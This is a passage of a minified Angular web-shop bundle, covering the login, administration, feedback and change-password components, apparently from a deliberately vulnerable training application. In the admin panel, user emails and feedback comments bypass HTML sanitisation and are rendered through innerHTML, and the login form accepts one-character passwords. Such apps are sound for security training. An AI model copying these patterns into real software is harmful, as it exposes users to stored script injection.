i=t.oxw();return t.KtG(i.hide=!i.hide)}),t.ALo(1,"translate"),t._UZ(2,"i",22),t.qZA()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"SHOW_PWD_TOOLTIP"))}function Yo(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",23),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.hide=!i.hide)}),t.ALo(1,"translate"),t._UZ(2,"i",24),t.qZA()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"HIDE_PWD_TOOLTIP"))}function Jo(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1,"MANDATORY_PASSWORD"),t.qZA())}function Qo(n,a){1&n&&(t.TgZ(0,"div",25)(1,"div",26),t._UZ(2,"div"),t.qZA(),t.TgZ(3,"div",27),t._uU(4,"LABEL_OR"),t.qZA(),t.TgZ(5,"div",26),t._UZ(6,"div"),t.qZA()())}function Ho(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",28),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.googleLogin())}),t._UZ(1,"i",29),t._uU(2),t.ALo(3,"translate"),t.qZA()}2&n&&(t.xp6(2),t.hij(" ",t.lcZ(3,1,"BTN_GOOGLE_LOGIN")," "))}O.vI.add(g.DD4,g.Mdf,g.Aq,Z.xYR);let jo=(()=>{class n{constructor(e,o,i,r,l,m,v,A){this.configurationService=e,this.userService=o,this.windowRefService=i,this.cookieService=r,this.router=l,this.formSubmitService=m,this.basketService=v,this.ngZone=A,this.emailControl=new s.p4("",[s.kI.required]),this.passwordControl=new s.p4("",[s.kI.required,s.kI.minLength(1)]),this.hide=!0,this.rememberMe=new s.p4(!1),this.clientId="1005568560502-6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com",this.oauthUnavailable=!0,this.redirectUri=""}ngOnInit(){const e=localStorage.getItem("email");e?(this.user={},this.user.email=e,this.rememberMe.setValue(!0)):this.rememberMe.setValue(!1),this.redirectUri=`${this.windowRefService.nativeWindow.location.protocol}//${this.windowRefService.nativeWindow.location.host}`,this.configurationService.getApplicationConfiguration().subscribe(o=>{if(o?.application?.googleOauth){this.clientId=o.application.googleOauth.clientId;const i=o.application.googleOauth.authorizedRedirects.find(r=>r.uri===this.redirectUri);i?(this.oauthUnavailable=!1,this.redirectUri=i.proxy?i.proxy:i.uri):(this.oauthUnavailable=!0,console.log(this.redirectUri+" is not an authorized redirect URI for this application."))}},o=>{console.log(o)}),this.formSubmitService.attachEnterKeyHandler("login-form","loginButton",()=>{this.login()})}login(){var e=this;this.user={},this.user.email=this.emailControl.value,this.user.password=this.passwordControl.value,this.userService.login(this.user).subscribe(o=>{localStorage.setItem("token",o.token);const i=new Date;i.setHours(i.getHours()+8),this.cookieService.put("token",o.token,{expires:i}),sessionStorage.setItem("bid",o.bid),this.basketService.updateNumberOfCartItems(),this.userService.isLoggedIn.next(!0),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/search"])}))},({error:o})=>{if(o.status&&o.data&&"totp_token_required"===o.status)return localStorage.setItem("totp_tmp_token",o.data.tmpToken),void this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/2fa/enter"])}));localStorage.removeItem("token"),this.cookieService.remove("token"),sessionStorage.removeItem("bid"),this.error=o,this.userService.isLoggedIn.next(!1),this.emailControl.markAsPristine(),this.passwordControl.markAsPristine()}),this.rememberMe.value?localStorage.setItem("email",this.user.email):localStorage.removeItem("email")}googleLogin(){this.windowRefService.nativeWindow.location.replace(`https://accounts.google.com/o/oauth2/v2/auth?client_id=${this.clientId}&response_type=token&scope=email&redirect_uri=${this.redirectUri}`)}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e),t.Y36(R),t.Y36(Vt),t.Y36(I.N_),t.Y36(U.F0),t.Y36(rt),t.Y36(X),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-login"]],decls:35,vars:18,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["class","error",4,"ngIf"],["id","login-form",1,"form-container"],["color","accent","appearance","outline"],["translate",""],["id","email","name","email","matInput","","placeholder","","aria-label","Text field for the login email",3,"formControl","focus"],["email",""],["translate","",4,"ngIf"],["id","password","name","password","matInput","","placeholder","","aria-label","Text field for the login password",3,"formControl","type","focus"],["password",""],["mat-icon-button","","matSuffix","","aria-label","Button to display the password","matTooltipPosition","right",3,"matTooltip","click",4,"ngIf"],["mat-icon-button","","matSuffix","","aria-label","Button to hide the password","matTooltipPosition","right",3,"matTooltip","click",4,"ngIf"],["routerLink","/forgot-password","translate","",1,"primary-link","forgot-pw"],["type","submit","id","loginButton","mat-raised-button","","color","primary","aria-label","Login",3,"disabled","click"],["id","rememberMe","aria-label","Checkbox to stay logged in or not logged in",3,"formControl"],["class","breakLine",4,"ngIf"],["id","loginButtonGoogle","mat-raised-button","","color","accent","aria-label","Login with Google","class","google-button",3,"click",4,"ngIf"],["id","newCustomerLink"],["routerLink","/register","translate","",1,"primary-link"],[1,"error"],["mat-icon-button","","matSuffix","","aria-label","Button to display the password","matTooltipPosition","right",3,"matTooltip","click"],["aria-label","Eye",1,"fas","fa-eye"],["mat-icon-button","","matSuffix","","aria-label","Button to hide the password","matTooltipPosition","right",3,"matTooltip","click"],["aria-label","Eye Slash",1,"fas","fa-eye-slash"],[1,"breakLine"],[1,"line"],["translate","",1,"textOnLine"],["id","loginButtonGoogle","mat-raised-button","","color","accent","aria-label","Login with Google",1,"google-button",3,"click"],[1,"fab","fa-google","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1"),t._uU(3,"Login"),t.qZA(),t.YNc(4,Fo,2,1,"div",2),t.TgZ(5,"div",3)(6,"mat-form-field",4)(7,"mat-label",5),t._uU(8,"LABEL_EMAIL"),t.qZA(),t.TgZ(9,"input",6,7),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.YNc(11,Bo,2,0,"mat-error",8),t.qZA(),t.TgZ(12,"mat-form-field",4)(13,"mat-label",5),t._uU(14,"LABEL_PASSWORD"),t.qZA(),t.TgZ(15,"input",9,10),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.YNc(17,Ro,3,3,"button",11),t.YNc(18,Yo,3,3,"button",12),t.YNc(19,Jo,2,0,"mat-error",8),t.qZA(),t.TgZ(20,"a",13),t._uU(21,"FORGOT_PASSWORD"),t.qZA(),t.TgZ(22,"button",14),t.NdJ("click",function(){return o.login()}),t.TgZ(23,"mat-icon"),t._uU(24," exit_to_app "),t.qZA(),t._uU(25),t.ALo(26,"translate"),t.qZA(),t.TgZ(27,"mat-checkbox",15),t._uU(28),t.ALo(29,"translate"),t.qZA(),t.YNc(30,Qo,7,0,"div",16),t.YNc(31,Ho,4,3,"button",17),t.TgZ(32,"div",18)(33,"a",19),t._uU(34,"NO_CUSTOMER"),t.qZA()()()()()),2&e&&(t.xp6(4),t.Q6J("ngIf",o.error),t.xp6(5),t.Q6J("formControl",o.emailControl),t.xp6(2),t.Q6J("ngIf",o.emailControl.invalid),t.xp6(4),t.Q6J("formControl",o.passwordControl)("type",o.hide?"password":"text"),t.xp6(2),t.Q6J("ngIf",o.hide),t.xp6(1),t.Q6J("ngIf",!o.hide),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid),t.xp6(3),t.Q6J("disabled",!o.emailControl.value||!o.passwordControl.value),t.xp6(3),t.hij(" ",t.lcZ(26,14,"BTN_LOGIN")," "),t.xp6(2),t.Q6J("formControl",o.rememberMe),t.xp6(1),t.hij(" ",t.lcZ(29,16,"REMEMBER_ME")," "),t.xp6(2),t.Q6J("ngIf",!o.oauthUnavailable),t.xp6(1),t.Q6J("ngIf",!o.oauthUnavailable))},dependencies:[h.O5,U.rH,u.Pi,p.Wh,s.Fj,s.JJ,s.oH,F.Hw,f.TO,f.KE,f.hX,f.R9,x.lW,T.a8,B.Nt,Xt.oG,Q.gM,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}.forgot-pw[_ngcontent-%COMP%]{font-size:11px;margin-top:-15px}mat-checkbox[_ngcontent-%COMP%]{margin-bottom:20px;margin-left:20%;margin-top:5px}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}mat-form-field[_ngcontent-%COMP%]:nth-child(2){padding-bottom:20px}#loginButton[_ngcontent-%COMP%], #loginButtonGoogle[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}.breakLine[_ngcontent-%COMP%]{display:table}.breakLine[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]{display:table-cell;white-space:nowrap}.line[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]{border-bottom:1px solid #c0c0c0;height:1px}.textOnLine[_ngcontent-%COMP%]{padding:0 5px}.line[_ngcontent-%COMP%]{vertical-align:middle;width:50%}#newCustomerLink[_ngcontent-%COMP%]{align-self:center;font-size:12px;margin-top:40px}[_nghost-%COMP%] .mat-form-field-suffix{margin-bottom:auto!important;margin-top:auto!important}[_nghost-%COMP%] .mat-icon-button{height:40px!important;width:24px!important}"]}),n})();O.vI.add(g.OFe);let Ko=(()=>{class n{constructor(e,o){this.dialogData=e,this.userService=o}ngOnInit(){this.userService.get(this.dialogData.id).subscribe(e=>{this.user=e},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI),t.Y36(R))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-user-details"]],decls:29,vars:10,consts:[[1,"mat-typography"],["fxLayout","column",1,"container"],["fxLayout","row","fxLayoutGap","10px"],["translate","LABEL_EMAIL"],["translate","LABEL_CREATED_AT"],["translate","LABEL_UPDATED_AT"],["align","end",1,"dialogAction"],["mat-button","",2,"height","0","position","absolute"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog","buttons"],[1,"material-icons"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-dialog-content",0)(1,"header")(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.qZA()(),t._UZ(5,"mat-divider"),t.TgZ(6,"div",1)(7,"div",2)(8,"div"),t._UZ(9,"strong",3),t.TgZ(10,"p"),t._uU(11),t.qZA()()(),t.TgZ(12,"div",2)(13,"div"),t._UZ(14,"strong",4),t.TgZ(15,"p"),t._uU(16),t.qZA()(),t.TgZ(17,"div"),t._UZ(18,"strong",5),t.TgZ(19,"p"),t._uU(20),t.qZA()()()(),t.TgZ(21,"mat-dialog-actions",6),t._UZ(22,"button",7),t.TgZ(23,"button",8)(24,"i",9),t._uU(25," close "),t.qZA(),t.TgZ(26,"span"),t._uU(27),t.ALo(28,"translate"),t.qZA()()()()),2&e&&(t.xp6(3),t.AsE("",t.lcZ(4,6,"LABEL_USER")," #",null==o.user?null:o.user.id,""),t.xp6(8),t.Oqu(null==o.user?null:o.user.email),t.xp6(5),t.Oqu(null==o.user?null:o.user.createdAt),t.xp6(4),t.Oqu(null==o.user?null:o.user.updatedAt),t.xp6(7),t.hij(" ",t.lcZ(28,8,"BTN_CLOSE"),""))},dependencies:[u.Pi,p.xw,p.SQ,x.lW,N.ZT,N.xY,N.H8,z.d,u.X$],styles:["mat-divider[_ngcontent-%COMP%]{margin-bottom:10px}.dialogAction[_ngcontent-%COMP%]{margin-bottom:0!important}"]}),n})(),Wo=(()=>{class n{constructor(e){this.dialogData=e}ngOnInit(){this.feedback=this.dialogData.feedback,this.id=this.dialogData.id}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-feedback-details"]],decls:23,vars:11,consts:[[1,"mat-typography"],["fxLayout","column",1,"container"],["fxLayout","row","fxLayoutGap","10px"],[2,"margin-top","10px !important"],[3,"innerHTML"],["align","end",1,"dialogAction"],["mat-button","",2,"height","0","position","absolute"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog","buttons"],[1,"material-icons"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-dialog-content",0)(1,"header")(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.qZA()(),t._UZ(5,"mat-divider"),t.TgZ(6,"div",1)(7,"div",2)(8,"span"),t._uU(9),t.ALo(10,"translate"),t.qZA(),t.TgZ(11,"p"),t._uU(12),t.qZA()(),t.TgZ(13,"div",3),t._UZ(14,"cite",4),t.qZA()(),t.TgZ(15,"mat-dialog-actions",5),t._UZ(16,"button",6),t.TgZ(17,"button",7)(18,"i",8),t._uU(19," close "),t.qZA(),t.TgZ(20,"span"),t._uU(21),t.ALo(22,"translate"),t.qZA()()()()),2&e&&(t.xp6(3),t.Oqu(t.lcZ(4,5,"LABEL_COMMENT")),t.xp6(6),t.hij("",t.lcZ(10,7,"LABEL_USER"),":"),t.xp6(3),t.hij("#",o.id,""),t.xp6(2),t.Q6J("innerHTML",o.feedback,t.oJD),t.xp6(7),t.hij(" ",t.lcZ(22,9,"BTN_CLOSE"),""))},dependencies:[p.xw,p.SQ,x.lW,N.ZT,N.xY,N.H8,z.d,u.X$],styles:["mat-divider[_ngcontent-%COMP%]{margin-bottom:10px}.dialogAction[_ngcontent-%COMP%]{margin-bottom:0!important}mat-dialog-content[_ngcontent-%COMP%]{max-width:320px;min-width:280px}"]}),n})();const zo=["paginatorUsers"],$o=["paginatorFeedb"];function Vo(n,a){1&n&&t._UZ(0,"mat-header-cell")}function Xo(n,a){1&n&&t._UZ(0,"i",30)}function ta(n,a){if(1&n&&(t.TgZ(0,"mat-cell",28),t.YNc(1,Xo,1,0,"i",29),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",e.token)}}function ea(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function na(n,a){1&n&&t._UZ(0,"mat-cell",31),2&n&&t.Q6J("innerHTML",a.$implicit.email,t.oJD)}function oa(n,a){1&n&&t._UZ(0,"mat-header-cell")}function aa(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell")(1,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.showUserDetail(r.id))}),t._UZ(2,"i",33),t.qZA()()}}function ia(n,a){1&n&&t._UZ(0,"mat-header-row")}function ra(n,a){1&n&&t._UZ(0,"mat-row")}function sa(n,a){1&n&&t._UZ(0,"mat-header-cell")}function la(n,a){1&n&&t._UZ(0,"mat-cell",28)}function ca(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function ua(n,a){1&n&&t._UZ(0,"mat-cell",31),2&n&&t.Q6J("innerHTML",a.$implicit.email,t.oJD)}function pa(n,a){1&n&&t._UZ(0,"mat-header-cell")}function da(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell")(1,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.showUserDetail(r.id))}),t._UZ(2,"i",33),t.qZA()()}}function ma(n,a){1&n&&t._UZ(0,"mat-header-row")}function ga(n,a){1&n&&t._UZ(0,"mat-row")}function ha(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function _a(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.UserId,"")}}function fa(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function Ca(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",34),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.showFeedbackDetails(r.comment,r.UserId))}),t._UZ(1,"p",35),t.qZA()}if(2&n){const e=a.$implicit;t.xp6(1),t.Q6J("innerHTML",e.comment,t.oJD)}}function va(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function xa(n,a){1&n&&(t.TgZ(0,"mat-icon"),t._uU(1," star_rate "),t.qZA())}function ba(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t.YNc(1,xa,2,0,"mat-icon",36),t.qZA()),2&n){const e=a.$implicit,o=t.oxw();t.xp6(1),t.Q6J("ngForOf",o.times(e.rating))}}function Ta(n,a){1&n&&t._UZ(0,"mat-header-cell")}function Aa(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell")(1,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.deleteFeedback(r.id))}),t._UZ(2,"i",37),t.qZA()()}}function ya(n,a){1&n&&t._UZ(0,"mat-header-row")}function Za(n,a){1&n&&t._UZ(0,"mat-row")}O.vI.add(g.ILF,g.Mdf,g.J9Y,g.N2j,g.I7k);let wa=(()=>{class n{constructor(e,o,i,r){this.dialog=e,this.userService=o,this.feedbackService=i,this.sanitizer=r,this.userColumns=["user","email","user_detail"],this.feedbackColumns=["user","comment","rating","remove"],this.resultsLengthUser=0,this.resultsLengthFeedback=0}ngOnInit(){this.findAllUsers(),this.findAllFeedbacks()}findAllUsers(){this.userService.find().subscribe(e=>{this.userDataSource=e,this.userDataSourceHidden=e;for(const o of this.userDataSource)o.email=this.sanitizer.bypassSecurityTrustHtml(`<span class="${o.token?"confirmation":"error"}">${o.email}</span>`);this.userDataSource=new d.by(this.userDataSource),this.userDataSource.paginator=this.paginatorUsers,this.resultsLengthUser=e.length},e=>{this.error=e,console.log(this.error)})}findAllFeedbacks(){this.feedbackService.find().subscribe(e=>{this.feedbackDataSource=e;for(const o of this.feedbackDataSource)o.comment=this.sanitizer.bypassSecurityTrustHtml(o.comment);this.feedbackDataSource=new d.by(this.feedbackDataSource),this.feedbackDataSource.paginator=this.paginatorFeedb,this.resultsLengthFeedback=e.length},e=>{this.error=e,console.log(this.error)})}deleteFeedback(e){this.feedbackService.del(e).subscribe(()=>{this.findAllFeedbacks()},o=>{this.error=o,console.log(this.error)})}showUserDetail(e){this.dialog.open(Ko,{data:{id:e}})}showFeedbackDetails(e,o){this.dialog.open(Wo,{data:{feedback:e,id:o}})}times(e){return Array(e).fill("\\u2605")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.uw),t.Y36(R),t.Y36(Lt),t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-administration"]],viewQuery:function(e,o){if(1&e&&(t.Gf(zo,5),t.Gf($o,5)),2&e){let i;t.iGM(i=t.CRH())&&(o.paginatorUsers=i.first),t.iGM(i=t.CRH())&&(o.paginatorFeedb=i.first)}},decls:58,vars:13,consts:[[1,"mat-elevation-z6","mat-own-card"],["translate",""],["fxLayout","row","fxLayout.lt-md","column","fxLayoutGap","20px",1,"container"],["fxFlexAlign","center",1,"user-container"],[1,"user-table"],[1,"heading"],[2,"height","700px",3,"dataSource"],["matColumnDef","user"],[4,"matHeaderCellDef"],["style","vertical-align: middle",4,"matCellDef"],["matColumnDef","email"],["translate","",4,"matHeaderCellDef"],["style","vertical-align: middle",3,"innerHTML",4,"matCellDef"],["matColumnDef","user_detail"],[4,"matCellDef"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["color","accent",1,"mat-elevation-z0",3,"pageSize","length"],["paginatorUsers",""],[2,"visibility","hidden","height","0px",3,"dataSource"],["fxFlexAlign.lt-md","center",1,"customer-container"],[1,"customer-table"],["matColumnDef","comment"],[3,"click",4,"matCellDef"],["matColumnDef","rating"],["matColumnDef","remove"],["paginatorFeedb",""],["src","assets/public/images/padding/19px.png"],[2,"vertical-align","middle"],["class","fas fa-user fa-lg confirmation",4,"ngIf"],[1,"fas","fa-user","fa-lg","confirmation"],[2,"vertical-align","middle",3,"innerHTML"],["mat-button","",3,"click"],[1,"fas","fa-eye"],[3,"click"],["matTooltip","Click for more information","matTooltipPosition","above",3,"innerHTML"],[4,"ngFor","ngForOf"],[1,"fas","fa-trash-alt"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"h1",1),t._uU(2,"TITLE_ADMINISTRATION"),t.qZA(),t.TgZ(3,"div",2)(4,"div",3)(5,"div",4)(6,"div",5)(7,"span",1),t._uU(8,"SECTION_USER"),t.qZA()(),t.TgZ(9,"mat-table",6),t.ynx(10,7),t.YNc(11,Vo,1,0,"mat-header-cell",8),t.YNc(12,ta,2,1,"mat-cell",9),t.BQk(),t.ynx(13,10),t.YNc(14,ea,1,0,"mat-header-cell",11),t.YNc(15,na,1,1,"mat-cell",12),t.BQk(),t.ynx(16,13),t.YNc(17,oa,1,0,"mat-header-cell",8),t.YNc(18,aa,3,0,"mat-cell",14),t.BQk(),t.YNc(19,ia,1,0,"mat-header-row",15),t.YNc(20,ra,1,0,"mat-row",16),t.qZA(),t._UZ(21,"mat-paginator",17,18),t.qZA(),t.TgZ(23,"mat-table",19),t.ynx(24,7),t.YNc(25,sa,1,0,"mat-header-cell",8),t.YNc(26,la,1,0,"mat-cell",9),t.BQk(),t.ynx(27,10),t.YNc(28,ca,1,0,"mat-header-cell",11),t.YNc(29,ua,1,1,"mat-cell",12),t.BQk(),t.ynx(30,13),t.YNc(31,pa,1,0,"mat-header-cell",8),t.YNc(32,da,3,0,"mat-cell",14),t.BQk(),t.YNc(33,ma,1,0,"mat-header-row",15),t.YNc(34,ga,1,0,"mat-row",16),t.qZA()(),t.TgZ(35,"div",20)(36,"div",21)(37,"div",5)(38,"span",1),t._uU(39,"SECTION_CUSTOMER_FEEDBACK"),t.qZA()(),t.TgZ(40,"mat-table",6),t.ynx(41,7),t.YNc(42,ha,1,0,"mat-header-cell",11),t.YNc(43,_a,2,1,"mat-cell",14),t.BQk(),t.ynx(44,22),t.YNc(45,fa,1,0,"mat-header-cell",11),t.YNc(46,Ca,2,1,"mat-cell",23),t.BQk(),t.ynx(47,24),t.YNc(48,va,1,0,"mat-header-cell",11),t.YNc(49,ba,2,1,"mat-cell",14),t.BQk(),t.ynx(50,25),t.YNc(51,Ta,1,0,"mat-header-cell",8),t.YNc(52,Aa,3,0,"mat-cell",14),t.BQk(),t.YNc(53,ya,1,0,"mat-header-row",15),t.YNc(54,Za,1,0,"mat-row",16),t.qZA(),t._UZ(55,"mat-paginator",17,26),t.qZA()(),t._UZ(57,"img",27),t.qZA()()),2&e&&(t.xp6(9),t.Q6J("dataSource",o.userDataSource),t.xp6(10),t.Q6J("matHeaderRowDef",o.userColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.userColumns),t.xp6(1),t.Q6J("pageSize",10)("length",o.resultsLengthUser),t.xp6(2),t.Q6J("dataSource",o.userDataSourceHidden),t.xp6(10),t.Q6J("matHeaderRowDef",o.userColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.userColumns),t.xp6(6),t.Q6J("dataSource",o.feedbackDataSource),t.xp6(13),t.Q6J("matHeaderRowDef",o.feedbackColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.feedbackColumns),t.xp6(1),t.Q6J("pageSize",10)("length",o.resultsLengthFeedback))},dependencies:[h.sg,h.O5,u.Pi,p.xw,p.SQ,p.XD,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,xt.NW,T.a8,Q.gM],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);font-size:large;justify-content:center;margin-bottom:10px;padding:12px}.container[_ngcontent-%COMP%]{justify-content:center}mat-table[_ngcontent-%COMP%]{height:767px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}.user-container[_ngcontent-%COMP%], .customer-container[_ngcontent-%COMP%]{max-width:600px;min-width:300px;width:70%}.user-table[_ngcontent-%COMP%], .customer-table[_ngcontent-%COMP%]{margin-bottom:25px}.mat-column-icon[_ngcontent-%COMP%] svg[_ngcontent-%COMP%], .mat-column-user_detail[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{margin-left:38%}mat-cell[_ngcontent-%COMP%], mat-footer-cell[_ngcontent-%COMP%], mat-header-cell[_ngcontent-%COMP%]{align-items:normal;display:block}.mat-column-comment[_ngcontent-%COMP%]{flex:0 0 55%!important;-webkit-hyphens:auto;hyphens:auto;overflow-wrap:break-word;padding:5px;white-space:unset!important;width:55%!important;word-break:break-word;word-wrap:break-word!important}.mat-column-user[_ngcontent-%COMP%]{flex:0 0 7%!important;-webkit-hyphens:auto;hyphens:auto;overflow-wrap:break-word;padding:5px;white-space:unset!important;width:7%!important;word-break:break-word;word-wrap:break-word!important}.mat-column-rating[_ngcontent-%COMP%]{flex:0 0 20%!important;-webkit-hyphens:auto;hyphens:auto;overflow-wrap:break-word;white-space:unset!important;width:20%!important;word-break:break-word;word-wrap:break-word!important}mat-cell[_ngcontent-%COMP%]:last-child, mat-footer-cell[_ngcontent-%COMP%]:last-child, mat-header-cell[_ngcontent-%COMP%]:last-child{padding-right:50px}mat-row[_ngcontent-%COMP%]{height:69px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-bottom:20px;margin-left:10%;margin-right:10%}p[_ngcontent-%COMP%]{-webkit-box-orient:vertical;display:-webkit-box;-webkit-line-clamp:2;overflow:hidden}"]}),n})();function Sa(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_CURRENT_PASSWORD"),t.qZA())}function ka(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_NEW_PASSWORD "),t.qZA())}const we=function(){return{length:"5-40"}};function Ia(n,a){1&n&&(t.TgZ(0,"mat-error",19),t._uU(1,"INVALID_PASSWORD_LENGTH "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,we))}function Oa(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_PASSWORD_REPEAT"),t.qZA())}function Ua(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," PASSWORDS_NOT_MATCHING "),t.qZA())}O.vI.add(g.r6l,D.Xc);let La=(()=>{class n{constructor(e,o,i){this.userService=e,this.formSubmitService=o,this.translate=i,this.passwordControl=new s.p4("",[s.kI.required]),this.newPasswordControl=new s.p4("",[s.kI.required,s.kI.minLength(5),s.kI.maxLength(40)]),this.repeatNewPasswordControl=new s.p4("",[s.kI.required,s.kI.minLength(5),s.kI.maxLength(40),Pa(this.newPasswordControl)])}ngOnInit(){this.formSubmitService.attachEnterKeyHandler("password-form","changeButton",()=>{this.changePassword()})}changePassword(){localStorage.getItem("email")?.match(/support@.*/)&&!this.newPasswordControl.value.match(/(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{12,30}/)&&console.error("Parola echipei de asisten\\u021b\\u0103 nu respect\\u0103 politica corporativ\\u0103 pentru conturile privilegiate! V\\u0103 rug\\u0103m s\\u0103 schimba\\u021bi parola \\xeen consecin\\u021b\\u0103!"),this.userService.changePassword({current:this.passwordControl.value,new:this.newPasswordControl.value,repeat:this.repeatNewPasswordControl.value}).subscribe(e=>{this.error=void 0,this.translate.get("PASSWORD_SUCCESSFULLY_CHANGED").subscribe(o=>{this.confirmation=o},o=>{this.confirmation={error:o}}),this.resetForm()},e=>{console.log(e),this.error=e,this.confirmation=void 0,this.resetPasswords()})}resetForm(){this.passwordControl.setValue(""),this.resetPasswords()}resetPasswords(){this.passwordControl.markAsPristine(),this.passwordControl.markAsUntouched(),this.newPasswordControl.setValue(""),this.newPasswordControl.markAsPristine(),this.newPasswordControl.markAsUntouched(),this.repeatNewPasswordControl.setValue(""),this.repeatNewPasswordControl.markAsPristine(),this.repeatNewPasswordControl.markAsUntouched()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(rt),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-change-password"]],decls:42,vars:26,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6",2,"margin-bottom","20px"],["translate",""],[1,"confirmation",3,"hidden"],[1,"error",3,"hidden"],["id","password-form",1,"form-container"],["appearance","outline","color","accent"],["id","currentPassword","type","password","matInput","","aria-label","Field to enter the current password",3,"formControl","placeholder"],["translate","",4,"ngIf"],["id","newPassword","type","password","matInput","","aria-label","Field for the new password",3,"formControl"],["password",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["align","end"],["translate","",3,"translateParams",4,"ngIf"],["id","newPasswordRepeat","type","password","matInput","","aria-label","Field to repeat the new password",3,"formControl"],["passwordRepeat",""],["type","submit","id","changeButton","mat-raised-button","","color","primary","aria-label","Button to confirm the change",3,"disabled","click"],["aria-hidden","true",1,"far","fa-edit","fa-lg"],["translate","",3,"translateParams"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_CHANGE_PASSWORD"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.TgZ(6,"div",4),t._uU(7),t.qZA(),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_CURRENT_PASSWORD"),t.qZA(),t._UZ(12,"input",7),t.ALo(13,"translate"),t.YNc(14,Sa,2,0,"mat-error",8),t.qZA(),t.TgZ(15,"mat-form-field",6)(16,"mat-label",2),t._uU(17,"LABEL_NEW_PASSWORD"),t.qZA(),t._UZ(18,"input",9,10),t.TgZ(20,"mat-hint",2),t._UZ(21,"i",11),t.TgZ(22,"em",12),t._uU(23),t.ALo(24,"translate"),t.qZA()(),t.TgZ(25,"mat-hint",13),t._uU(26),t.qZA(),t.YNc(27,ka,2,0,"mat-error",8),t.YNc(28,Ia,2,2,"mat-error",14),t.qZA(),t.TgZ(29,"mat-form-field",6)(30,"mat-label",2),t._uU(31,"LABEL_REPEAT_NEW_PASSWORD"),t.qZA(),t._UZ(32,"input",15,16),t.TgZ